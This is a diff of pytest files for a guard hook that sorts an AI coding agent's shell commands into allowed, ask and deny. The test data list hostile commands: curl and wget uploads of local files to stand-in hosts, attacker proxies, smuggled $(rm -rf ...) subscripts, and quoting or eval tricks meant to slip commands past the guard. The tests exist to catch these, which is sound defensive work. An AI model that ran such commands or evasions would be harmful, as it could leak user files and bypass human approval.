pytest.param( + "gh api -H 'X-HTTP-Method-Override: DELETE' repos/o/r/issues/1", [], id="GitHub method override headers" + ), + pytest.param("gh api -H 'Accept: x' repos/o/r/issues --input body.json", [], id="GitHub API input bodies"), + pytest.param("herdr worktree open --cwd /repo --path /w --trust-repository", [], id="Herdr open with trust"), + pytest.param("herdr worktree list --trust-repository", [], id="Herdr list with trust"), + pytest.param("f(){ gh pr review 42 --approve; }; f", [], id="inside a function body"), + pytest.param("t(){ printf '%s\\n' \"$@\" | sort; }; t b a", [], id="any function definition"), + pytest.param('f(){ builtin eval "$1"; }; f "gh pr merge 1"', [], id="functions that eval through builtin"), + pytest.param('f(){ trap "$1" EXIT; }; f "gh pr merge 1"', [], id="functions that set a trap"), + pytest.param("f(){ . ./script.sh; }; f", [], id="functions that source a script"), + pytest.param( + "x='repos/o/r/issues/1 -X DELETE'; gh api $x", [], id="unquoted variables that split into options" + ), + pytest.param("gh pr view $NUMBER --json state", [], id="unquoted run-time words in listed GitHub forms"), + pytest.param("gh api repos/furedea/$r/alerts", [], id="unquoted expansions inside an endpoint"), + pytest.param("gh pr view $(cat number.txt)", [], id="unquoted command substitutions"), + pytest.param("gh api repos/o/r/contents/*", [], id="unquoted globs"), + pytest.param( + "printf '%s\\n' 'repos/o/r/issues/comments/123 -X DELETE' | read -rA a; gh api -H 'Accept: x' \"$a[@]\"", + [], + id="a zsh array expansion beside an allowed header", + ), + pytest.param( + "gh api -H 'Accept: x' \"repos/o/$r/pulls\"", [], id="a quoted expansion beside an allowed header" + ), + pytest.param( + 'gh api --header "X-GitHub-Api-Version: 1" \'repos/o/r\' --jq "$(cat q)"', + [], + id="a substitution beside an allowed header", + ), + pytest.param( + "gh api -H 'Accept: x' {repos/o/r/issues/comments/123,-\"X\"DELETE}", + [], + id="brace expansion split by quotes", + ), + pytest.param("gh api repos/o/r/issues/comments/{1}", [], id="any unquoted brace"), + pytest.param("gh api repos/o/r/issues/1 -\\\nXDELETE", [], id="a line continuation inside an option"), + pytest.param("herdr worktree open --cwd /r --trust\\\n-repository", [], id="a line continuation in Herdr"), + pytest.param("herdr worktree open --cwd $W", [], id="unquoted words in Herdr options"), + *( + pytest.param(command, [], id=name) + for name, command in ( + ( + "a Herdr session option that shifts values", + "herdr worktree open --label --session=default --cwd --trust-repository --path /repo/worktree", + ), + ( + "a Herdr session option with a separate value", + "herdr worktree open --label --session default --cwd --trust-repository --path /repo/worktree", + ), + ("a Herdr session option before the subcommand", "herdr --session default worktree open --path /r/w"), + ("a Herdr session option after the values", "herdr worktree open --cwd /r --path /r/w --session=x"), + ("a Herdr machine option", "herdr worktree open --label --machine m --path /r/w"), + ("a Herdr remote option", "herdr agent read lane-a --remote host"), + ("a Herdr value slot holding an option", "herdr agent read lane-a --lines --ansi"), + ("an attached Herdr option value", "herdr worktree open --cwd=/r --path /r/w"), + ("an unknown Herdr option", "herdr agent read lane-a --verbose"), + ("a second Herdr target", "herdr agent wait lane-a lane-b"), + ("Herdr repository trust anywhere", "herdr worktree open --path /r/w --label x --trust-repository"), + ) + ), + pytest.param( + "printf '%s\\n' '--cwd /r --trust-repository' | read -rA a; herdr worktree open \"$a[@]\"", + [], + id="a zsh array expansion in a new Herdr form", + ), + pytest.param('herdr agent read "$LANE"', [], id="a quoted expansion in a new Herdr form"), + pytest.param( + "idx='pipestatus[1$(rm -rf /tmp/review-target)]'; gh api -H 'Accept: x' \"$HOME[idx]\"", + [], + id="a zsh subscript on HOME beside an allowed header", + ), + pytest.param( + "idx='pipestatus[1$(rm -rf /tmp/review-target)]'; herdr agent read \"$HOME[idx]\"", + [], + id="a zsh subscript on HOME in a new Herdr form", + ), + pytest.param("gh api -H 'Accept: x' 'repos/o/r' --jq \"$HOME\"", [], id="HOME beside an allowed header"), + pytest.param('herdr worktree list --cwd "$HOME"', [], id="HOME in a new Herdr form"), + *( + pytest.param(command, [], id=f"{name} for {program}") + for program, plain in ( + ("gh api", "gh api -H 'Accept: x' repos/o/r"), + ("herdr", "herdr agent read lane-a"), + ) + for name, command in ( + ("an expansion in the program name", f'"$HOME[idx]"/__missing__/{plain}'), + ("an expansion in a leading assignment", f'Z="$HOME[idx]" {plain}'), + ("an expansion in a redirect target", f'{plain} > "$HOME[idx]"/out'), + ("an expansion in a compound redirect", f'{{ {plain}; }} > "$HOME[idx]"/out'), + ("a backtick anywhere", f"{plain}; echo `date`"), + ("a glob character anywhere", f"{plain} > out?"), + ("a zsh integer assignment prefix", f"RANDOM='pipestatus[1$(printf REVIEW_MARKER >&2)]' {plain}"), + ("a plain assignment prefix", f"X=1 {plain}"), + ("a redirect to a file", f"{plain} > out.txt"), + ( + "a redirect into a process substitution", + f"{plain} > >(RANDOM='pipestatus[1$(printf REVIEW_MARKER >&2)]' cat)", + ), + ("eval of a single-quoted script", "eval '" + plain.replace("'", '"') + "'"), + ( + "eval re-expanding a zsh array", + "printf '%s\\n' 'x' | read -rA a; eval '" + plain.replace("'", '"') + ' "$a[@]"\'', + ), + ) + ), + *( + pytest.param(command, [], id=f"an allowed header read {name}") + for name, command in ( + ("after a semicolon", "true; gh api -H 'Accept: x' repos/o/r"), + ("before a semicolon", "gh api -H 'Accept: x' repos/o/r; true"), + ("after &&", "true && gh api -H 'Accept: x' repos/o/r"), + ("after ||", "false || gh api -H 'Accept: x' repos/o/r"), + ("in a pipeline", "gh api -H 'Accept: x' repos/o/r | cat"), + ("in the background", "gh api -H 'Accept: x' repos/o/r &"), + ("negated", "! gh api -H 'Accept: x' repos/o/r"), + ("in a subshell", "( gh api -H 'Accept: x' repos/o/r )"), + ("in a block", "{ gh api -H 'Accept: x' repos/o/r; }"), + ("in a function", "f(){ gh api -H 'Accept: x' repos/o/r; }; f"), + ("through eval", "eval 'gh api -H \"Accept: x\" repos/o/r'"), + ("through source", "source ./env.sh && gh api -H 'Accept: x' repos/o/r"), + ("through a dot", ". ./env.sh; gh api -H 'Accept: x' repos/o/r"), + ("through exec", "exec gh api -H 'Accept: x' repos/o/r"), + ("through command", "command gh api -H 'Accept: x' repos/o/r"), + ("through env", "env gh api -H 'Accept: x' repos/o/r"), + ("through xargs", "echo x | xargs gh api -H 'Accept: x' repos/o/r"), + ("through sh -c", "sh -c 'gh api -H \"Accept: x\" repos/o/r'"), + ("through bash -c", "bash -c 'gh api -H \"Accept: x\" repos/o/r'"), + ("through zsh -c", "zsh -c 'gh api -H \"Accept: x\" repos/o/r'"), + ("through nohup", "nohup gh api -H 'Accept: x' repos/o/r"), + ("through time", "time gh api -H 'Accept: x' repos/o/r"), + ("through timeout", "timeout 5 gh api -H 'Accept: x' repos/o/r"), + ("through nice", "nice gh api -H 'Accept: x' repos/o/r"), + ) + ), + pytest.param( + "gh api -H 'Accept: x' repos/o/r/contents/README.md?ref=v1", + [], + id="an unquoted question mark beside a header", + ), + pytest.param( + "gh api -H 'Accept: x' \"repos/o/r/contents/README.md?ref=v1\"", + [], + id="a double-quoted question mark beside a header", + ), + pytest.param( + "gh api -H 'Accept: x' repos/o/r/pulls --jq \".[0].number\"", + [], + id="a double-quoted jq filter beside a header", + ), + pytest.param( + "gh api -H 'Accept: x' 'repos/o/r'\"$HOME[idx]\"", [], id="an expansion adjacent to a single quote" + ), + pytest.param("gh api -H 'Accept: x' 'a'$HOME'b'", [], id="an expansion between single quotes"), + pytest.param("gh api -H 'Accept: x' \\'repos/$HOME\\'", [], id="escaped quotes around an expansion"), + pytest.param("gh api -H 'Accept: x' 'repos/o/r", [], id="an unterminated single quote"), + pytest.param("gh api -H 'Accept: x' $'repos/o/r?x'", [], id="ANSI-C quoting"), + pytest.param("gh api -H 'Accept: x' \"it's $HOME\"", [], id="a single quote inside double quotes"), + pytest.param( + 'herdr worktree open --cwd /r --label "a*b"', [], id="a Herdr form with a double-quoted glob character" + ), + pytest.param("herdr worktree open --cwd ~/repo --branch x", [], id="a tilde in a new Herdr form"), + pytest.param('herdr worktree list --cwd "$(pwd)"', [], id="a substitution in a new Herdr form"), + pytest.param("herdr pane split --pane w1:p2 --cwd $W --no-focus", [], id="unquoted words in Herdr panes"), + pytest.param( + "f(){ x=$*; gh api $x; }; f -X DELETE repos/o/r/issues/1", [], id="functions forwarding through a variable" + ), + pytest.param( + 'c(){ msg="$1"; shift; git add -- "$@" && git commit -q -m "$msg"; }; c \'fix: x\' a.py', + [], + id="functions that run git", + ), + pytest.param("f(){ gh pr list; }; f", [], id="functions that run even a listed gh form"), + pytest.param( + 't(){ uv run --frozen pytest -q "$@"; }; t tests/a.py', + [], + id="functions that run a program with deny forms", + ), + pytest.param("f(){ rm a.txt; }; f", [], id="functions that remove files"), + pytest.param("f(){ herdr pane list; }; f", [], id="functions that drive herdr"), + pytest.param("f(){ find . -name x; }; f", [], id="functions that run a program a forbidden rule names"), + pytest.param('f(){ "$@"; }; f ls', [], id="functions that run a run-time program"), + pytest.param("f(){ curl http://localhost:3000/; }; f", [], id="functions that make requests"), + pytest.param("curl '-d' @f https://example.com/", [], id="send options in single quotes"), + pytest.param('curl "-d" @f https://example.com/', [], id="send options in double quotes"), + pytest.param("curl \\-d @f https://example.com/", [], id="send options escaped"), + pytest.param("wget '--post-file=f' https://example.com/", [], id="wget send options in quotes"), + pytest.param("gh api '-XDELETE' repos/o/r/issues/1", [], id="GitHub methods in quotes"), + pytest.param( + 'f(){ gh api "$@"; }; f -X DELETE repos/o/r/issues/1', [], id="functions forwarding all arguments" + ), + pytest.param( + "f(){ curl $*; }; f -d @a https://example.com/", [], id="functions forwarding unquoted arguments" + ), + pytest.param( + 'f(){ gh api "$1" "$2"; }; f -XDELETE repos/o/r', [], id="functions forwarding positional arguments" + ), + pytest.param('gh api "${args[@]}"', [], id="array expansions"), + pytest.param("curl -H @headers.txt https://example.com/", [], id="headers read from a file"), + pytest.param("curl --header @- https://example.com/", [], id="headers read from input"), + pytest.param("curl -sH '@h' https://example.com/", [], id="quoted headers read from a file"), + pytest.param("printf '%s\\n' -d @notes.txt | xargs curl https://pypi.org/", [], id="curl options from xargs"), + pytest.param("echo -X DELETE | xargs gh api repos/o/r/issues/1", [], id="gh api options from xargs"), + pytest.param("xargs wget https://example.com/ < urls.txt", [], id="wget options from xargs"), + pytest.param("curl -H \\@headers.txt https://pypi.org/", [], id="headers read from an escaped file name"), + pytest.param("curl -H 'Accept: '$TYPE https://example.com/", [], id="run-time header values"), + pytest.param("curl --data-urlencode q=x https://example.com/", [], id="options outside the read-only list"), + pytest.param("curl --max-time=5 https://example.com/", [], id="attached long option values"), + pytest.param("gh api graphql -f query='mutation { x }'", [], id="GitHub GraphQL mutations"), + pytest.param( + 'gh api graphql -f "query=query { repository(owner: \\"o\\", name: \\"r\\") { id } }"', + [], + id="GitHub GraphQL queries in double quotes, which main asks for", + ), + pytest.param("gh api repos/o/r/pulls/1/comments/99/replies -f body=hello", [], id="unquoted reply bodies"), + pytest.param( + "gh api -H 'X-HTTP-Method-Override: DELETE' repos/o/r/issues/1", + [], + id="other headers before the endpoint", + ), + pytest.param("curl -d{} https://example.com/", [], id="send options that need quoting"), + pytest.param("curl -sd'a b' https://example.com/", [], id="send options with spaces in a cluster"), + pytest.param("curl --data 'a b' https://example.com/", [], id="long send options with spaces"), + pytest.param("wget '--post-data=a b' https://example.com/", [], id="wget send options that need quoting"), + pytest.param("wget --post-data '{}' https://example.com/", [], id="wget send options with a separate value"), + pytest.param("wget -e use_proxy=on https://example.com/", [], id="wget commands"), + pytest.param("curl -X 'GET -d x' https://example.com/", [], id="methods with spaces"), + pytest.param("curl -o", [], id="an option without its value"), + pytest.param('gh api repos/o/r/issues/1 --jq .x -"X" DELETE', [], id="GitHub options decoded from quotes"), + pytest.param("f(){ curl -d @a https://example.com/; }", [], id="inside a function that is never called"), pytest.param("herdr worktree create --cwd /repo --trust-repository", [], id="Herdr repository trust"), pytest.param("herdr pane split --pane w1:p2 --env CLAUDE_CONFIG_DIR=/tmp/x", [], id="Herdr pane environments"), pytest.param("herdr agent start lane-a --kind gemini --pane w1:p2", [], id="Herdr agents without our hooks"), diff --git a/tests/agents/hooks/test_forbidden_command.py b/tests/agents/hooks/test_forbidden_command.py index bf8f656..1f5a2c5 100644 --- a/tests/agents/hooks/test_forbidden_command.py +++ b/tests/agents/hooks/test_forbidden_command.py @@ -136,7 +136,16 @@ def test_global_prefix_rejects_home_manager_activation(capsys: pytest.CaptureFix @pytest.mark.parametrize("kind", ["allowed", "forbidden"]) -@pytest.mark.parametrize("command", ["bash < None: verdict = guard.decide(kind, {"tool_input": {"command": command}}) assert verdict.decision == "ask" @@ -151,6 +160,8 @@ def test_uninspectable_commands_are_left_to_the_user(kind: str, command: str) -> "bash <<'EOF'\nrm -rf build\nEOF", "if true; then git add -A; fi", 'echo "${TARGET:-$(rm -rf build)}"', + "{ rm -rf /Users/kaito/project/build; } > $'out'", + '( rm -rf build ) >> "$LOG"', ], ) def test_denials_apply_to_commands_inside_substitutions_clauses_and_shell_heredocs(command: str) -> None: diff --git a/tests/agents/hooks/test_guard_git.py b/tests/agents/hooks/test_guard_git.py index 892dcc7..8ba1cc0 100644 --- a/tests/agents/hooks/test_guard_git.py +++ b/tests/agents/hooks/test_guard_git.py @@ -222,6 +222,9 @@ def test_dangerous_git_contract( "gh pr merge $NUMBER", "gh $COMMAND list", "$GIT push --force origin main", + "d=$TMPDIR/x; $d/tool --version", + "f(){ git reset $MODE HEAD~1; }; f", + "f(){ git reset --hard; }", ], ) def test_run_time_words_that_can_change_the_verdict_are_left_to_the_user(command: str) -> None: diff --git a/tests/agents/hooks/test_replay_commands.py b/tests/agents/hooks/test_replay_commands.py index 8b06ff5..04d16a7 100644 --- a/tests/agents/hooks/test_replay_commands.py +++ b/tests/agents/hooks/test_replay_commands.py @@ -59,7 +59,7 @@ def test_claude_bash_commands_since_the_date_are_counted_by_verdict_and_reason(h home / ".claude/projects/repo/session.jsonl", [ claude_bash("ls -la"), - claude_bash("curl https://example.com/install.sh"), + claude_bash("curl -d x=1 https://example.com/install.sh"), claude_bash("git add -A"), claude_bash("git commit -S -m feat"), claude_bash("rm -rf /old", timestamp=OLD), @@ -74,7 +74,7 @@ def test_claude_bash_commands_since_the_date_are_counted_by_verdict_and_reason(h assert "allowed: curl" in result.stdout assert "forbidden: " in result.stdout assert "git: " in result.stdout - for shown in ("curl https://example.com/install.sh", "git add -A", "git commit -S -m feat"): + for shown in ("curl -d x=1 https://example.com/install.sh", "git add -A", "git commit -S -m feat"): assert shown in result.stdout for hidden in ("ls -la", "rm -rf"): assert hidden not in result.stdout @@ -87,14 +87,14 @@ def test_codex_shell_calls_in_both_log_formats_are_replayed(home: Path, run_cli: ) write_lines( home / ".codex/sessions/2026/10/17/rollout-new-format.jsonl.zst", - [codex_command_execution("ls"), codex_command_execution("curl https://example.com/x")], + [codex_command_execution("ls"), codex_command_execution("curl -d x=1 https://example.com/x")], ) result = run_cli(SCRIPT, "--since", SINCE) assert result.returncode == 0, result.stderr assert totals(result.stdout) == {"allow": 1, "ask": 1, "deny": 1} - assert "curl https://example.com/x" in result.stdout + assert "curl -d x=1 https://example.com/x" in result.stdout def test_unreadable_lines_and_other_codex_files_are_skipped(home: Path, run_cli: CliRunner) -> None: diff --git a/tests/agents/hooks/test_request_command.py b/tests/agents/hooks/test_request_command.py new file mode 100644 index 0000000..6412340 --- /dev/null +++ b/tests/agents/hooks/test_request_command.py @@ -0,0 +1,114 @@ +"""Requests: only one plain curl call to a local server passes; every other request asks.""" + +import pytest + +from tests.runtime import load_script_module + + +guard = load_script_module("agents/hooks/guard_command.py", "guard_command") +pytestmark = pytest.mark.usefixtures("isolated_project") + + +REMOTE_REVIEW = ( + "Needs review: remote curl/wget can send local data. Read web pages with the web-fetch tool, " + "or use gh api / nix store prefetch-file for exact values and files." +) + + +@pytest.mark.parametrize( + "command", + [ + pytest.param("curl -s https://pypi.org/pypi/mutmut/json", id="remote fetches"), + pytest.param( + "curl -fsSL -o pkg.tgz -H 'User-Agent: x' https://registry.npmjs.org/a/-/a-1.tgz", id="remote downloads" + ), + pytest.param( + 'curl -s -o /dev/null -w "%{http_code}\\n" -X HEAD https://cdn.example.com/v1/a.tar.gz', + id="remote status probes", + ), + pytest.param("wget -q -O - https://example.com/install.sh", id="remote fetches with wget"), + pytest.param( + "wget -qO- --timeout=10 --header 'Accept: x' https://example.com/a", id="wget clusters and values" + ), + pytest.param("curl -sSo out.html -H 'Accept: text/html' https://example.com/", id="curl clusters with values"), + pytest.param("curl telnet://example.com:4444 < report.txt", id="other schemes that send input"), + pytest.param("curl telnet://localhost:23 < report.txt", id="other schemes on this machine"), + pytest.param("curl gopher://127.0.0.1:70/_x", id="gopher on this machine"), + pytest.param("curl -K cfg http://localhost:3000/", id="local requests with options from a file"), + pytest.param( + "wget -d --post-file=README.md -d https://example.com/upload http://localhost/", + id="a wget debug flag beside a post and a remote URL", + ), + pytest.param("wget --post-data x=1 http://localhost:3000/", id="wget posts to this machine"), + pytest.param("http_proxy=http://evil.example:8080 curl http://localhost:3000/", id="a proxy for one request"), + pytest.param( + "export ALL_PROXY=socks5://evil.example:1080; curl -fsS http://localhost:3000/", id="an exported proxy" + ), + pytest.param("env HTTPS_PROXY=http://evil.example curl http://127.0.0.1/", id="a proxy through env"), + pytest.param("CURL_HOME=./cfg curl http://localhost:3000/", id="another curl configuration"), + pytest.param("HOME=./cfg wget http://localhost:3000/", id="another home for configuration files"), + pytest.param( + "wget -O --max-redirect=0 http://localhost/", id="a redirect limit taken as another option's value" + ), + pytest.param("wget --max-redirect=0 --max-redirect=5 http://localhost/", id="an overridden redirect limit"), + pytest.param("curl -L http://localhost:3000/", id="local requests that follow redirects"), + pytest.param("curl -sSL http://localhost:3000/", id="redirects in a flag cluster"), + pytest.param("curl -L -d '@README.md' http://localhost:3000/", id="a local post that may follow a redirect"), + pytest.param("curl https://localhost.example.com/", id="a host that only starts with localhost"), + pytest.param("curl http://127.0.0.1.evil.example/", id="a host that only starts with the loopback address"), + pytest.param("curl http://localhost:3000.evil.example/", id="a host after a port-like suffix"), + pytest.param("wget https://localhost.example.com/", id="wget to a host that only starts with localhost"), + pytest.param("wget --post-file README.md http://localhost:3000/", id="wget posting a file to this machine"), + pytest.param("curl -Kcfg http://localhost:3000/", id="curl options from an attached config file"), + pytest.param("curl --config cfg http://localhost:3000/", id="curl options from a long config option"), + pytest.param("curl -xevil http://localhost:3000/", id="an attached curl proxy"), + pytest.param("wget --config cfg http://localhost:3000/", id="wget options from a config file"), + pytest.param("wget -e use_proxy=on http://localhost:3000/", id="wget commands toward this machine"), + pytest.param("wget -iurls http://localhost:3000/", id="wget reading URLs from a file"), + *( + pytest.param( + f"curl {option} -H 'https://example.invalid/upload' -d '@README.md' 'http://localhost/'", + id=f"curl {option} taking the next option as its value", + ) + for option in ("-A", "-e", "-u", "-b", "-c", "-T", "-F", "-x", "-w", "-r") + ), + pytest.param( + "curl -sA -H 'https://example.invalid/upload' 'http://localhost/'", id="a valued option in a cluster" + ), + pytest.param("curl -r -H 'file:///dev/null' 'http://localhost/'", id="a second file URL"), + pytest.param("curl 'http://localhost/' file:///dev/null", id="a second URL after the local one"), + pytest.param( + "curl -A -H https://example.invalid/upload -d @README.md http://localhost/", + id="the unquoted counterexample", + ), + pytest.param("wget 'http://[::1]/'", id="wget to this machine over IPv6, which may redirect"), + pytest.param("wget -O - 'http://[::1]/'", id="wget to standard output, which may redirect"), + pytest.param("wget http://localhost:3000/", id="wget to a local server, which may redirect"), + pytest.param( + "env http_pro''xy=http://example.invalid:8080 curl -X POST -d '@README.md' http://localhost:3000/", + id="a proxy name split by quotes through env", + ), + pytest.param( + "http_proxy=http://example.invalid:8080 curl http://localhost:3000/", id="a lowercase proxy prefix" + ), + pytest.param("ALL_PROXY=socks5://example.invalid:1080 curl http://localhost:3000/", id="an ALL_PROXY prefix"), + pytest.param( + "env http_pro\\\nxy=http://example.invalid curl http://localhost:3000/", + id="a proxy name split by a line continuation", + ), + pytest.param("export http_proxy=x; curl http://localhost:3000/", id="an exported lowercase proxy"), + pytest.param("X=1 curl http://localhost:3000/", id="any assignment before a local request"), + pytest.param("curl http://localhost:3000/ > out.txt", id="a local request with a redirect"), + pytest.param("true && curl http://localhost:3000/", id="a local request in a list"), + pytest.param("command curl http://localhost:3000/", id="a local request behind a wrapper"), + pytest.param("curl --location http://127.0.0.1:8080/", id="the long redirect option"), + pytest.param("curl --location-trusted http://localhost/", id="trusted redirects"), + pytest.param("wget -q -O- http://localhost:3000/", id="wget, which follows redirects by default"), + pytest.param("wget --max-redirect=3 http://localhost:3000/", id="wget with redirects allowed"), + ], +) +def test_remote_requests_ask_and_point_to_safer_tools(capsys: pytest.CaptureFixture[str], command: str) -> None: + verdict = guard.decide("allowed", {"tool_input": {"command": command}}) + assert verdict.decision == "ask" + assert REMOTE_REVIEW in verdict.reason + assert capsys.readouterr() == ("", "") diff --git a/tests/agents/test_command_permission_sync.py b/tests/agents/test_command_permission_sync.py index dda16c6..7436f16 100644 --- a/tests/agents/test_command_permission_sync.py +++ b/tests/agents/test_command_permission_sync.py @@ -165,3 +165,23 @@ def test_a_locked_development_shell_runs_while_arbitrary_packages_ask() -> None: ) def test_handing_work_to_a_new_herdr_session_runs_without_approval(prefix: tuple[str, ...]) -> None: assert prefix in ALLOW + + +@pytest.mark.parametrize( + "prefix", + [ + ("herdr", "agent", "read"), + ("herdr", "agent", "wait"), + ("herdr", "worktree", "open"), + ("herdr", "worktree", "list"), + ], +) +def test_watching_lanes_and_their_worktrees_runs_without_approval(prefix: tuple[str, ...]) -> None: + assert prefix in ALLOW + + +def test_rm_asks_and_recursive_rm_is_denied_by_the_shared_prefixes() -> None: + assert ("rm",) in ASK + deny = {tuple(rule["prefix"]) for rule in POLICY["rules"] if rule["decision"] == "deny"} + recursive = {("rm", flag) for flag in ("-r", "-rf", "-fr", "-R", "-Rf", "--recursive")} + assert recursive <= deny